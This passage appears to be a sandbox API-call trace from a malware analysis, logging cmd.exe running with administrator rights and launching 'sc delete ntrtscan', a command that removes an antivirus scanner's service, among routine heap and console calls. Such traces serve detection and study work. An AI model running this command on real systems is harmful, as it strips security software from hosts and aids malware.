lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0074.013] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0074.013] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0074.013] GetLastError () returned 0x2 [0074.013] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0074.013] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0074.013] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.013] GetProcessHeap () returned 0x4a0000 [0074.013] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0074.014] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.014] GetProcessHeap () returned 0x4a0000 [0074.014] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x9e) returned 0x4b9180 [0074.014] GetProcessHeap () returned 0x4a0000 [0074.014] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x9e [0074.014] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ntrtscan") returned 1 [0074.014] GetProcessHeap () returned 0x4a0000 [0074.014] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0074.014] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0074.014] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0074.014] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0074.015] GetProcessHeap () returned 0x4a0000 [0074.015] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0074.015] GetProcessHeap () returned 0x4a0000 [0074.015] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0074.015] GetProcessHeap () returned 0x4a0000 [0074.015] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0074.015] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ntrtscan", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ntrtscan", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete ntrtscan", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xb34, dwThreadId=0xacc)) returned 1 [0074.038] CloseHandle (hObject=0x50) returned 1 [0074.039] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0074.039] GetProcessHeap () returned 0x4a0000 [0074.039] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0074.039] GetEnvironmentStringsW () returned 0x4bba10* [0074.039] GetProcessHeap () returned 0x4a0000 [0074.039] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0074.039] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0074.039] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0074.039] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0074.039] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0074.119] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0074.119] CloseHandle (hObject=0x54) returned 1 [0074.119] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0074.119] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0074.119] GetProcessHeap () returned 0x4a0000 [0074.119] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0074.119] GetEnvironmentStringsW () returned 0x4c1b10* [0074.119] GetProcessHeap () returned 0x4a0000 [0074.119] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0074.119] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0074.119] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0074.119] GetProcessHeap () returned 0x4a0000 [0074.119] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0074.119] GetEnvironmentStringsW () returned 0x4bba10* [0074.120] GetProcessHeap () returned 0x4a0000 [0074.120] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0074.120] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0074.120] GetProcessHeap () returned 0x4a0000 [0074.120] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0074.120] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0074.120] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0074.120] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.120] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0074.120] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.120] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0074.121] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.121] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0074.121] GetConsoleOutputCP () returned 0x1b5 [0074.121] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0074.121] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.121] GetProcessHeap () returned 0x4a0000 [0074.121] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0074.121] GetProcessHeap () returned 0x4a0000 [0074.121] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0074.121] GetProcessHeap () returned 0x4a0000 [0074.121] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0074.121] GetProcessHeap () returned 0x4a0000 [0074.121] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0074.121] GetProcessHeap () returned 0x4a0000 [0074.121] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0074.121] GetProcessHeap () returned 0x4a0000 [0074.121] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0074.121] GetProcessHeap () returned 0x4a0000 [0074.121] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0074.122] GetProcessHeap () returned 0x4a0000 [0074.122] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0074.122] GetProcessHeap () returned 0x4a0000 [0074.122] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0074.122] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0074.122] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.122] GetFileType (hFile=0x120) returned 0x3 [0074.122] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0074.122] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0074.122] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0074.122] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0074.122] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0074.122] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0074.122] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.122] GetFileType (hFile=0x120) returned 0x3 [0074.122] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0074.122] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0074.122] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.122] GetFileType (hFile=0xb8) returned 0x3 [0074.122] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.123] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.123] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.123] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.123] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.123] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.123] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.123] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.123] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.123] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.123] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.123] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.123] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.123] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.123] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.123] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.123] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.123] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="otrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="frtscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="ctscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="sscan\nnService\ne\n\n\nA\"\n") returned 1 [0074.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="ecan\nnService\ne\n\n\nA\"\n") returned 1 [0074.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="ran\nnService\ne\n\n\nA\"\n") returned 1 [0074.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="vn\nnService\ne\n\n\nA\"\n") returned 1 [0074.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="i\nnService\ne\n\n\nA\"\n") returned 1 [0074.126] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.126] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.126] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="cnService\ne\n\n\nA\"\n") returned 1 [0074.126] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.126] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.126] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="eService\ne\n\n\nA\"\n") returned 1 [0074.126] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.126] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.126] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, 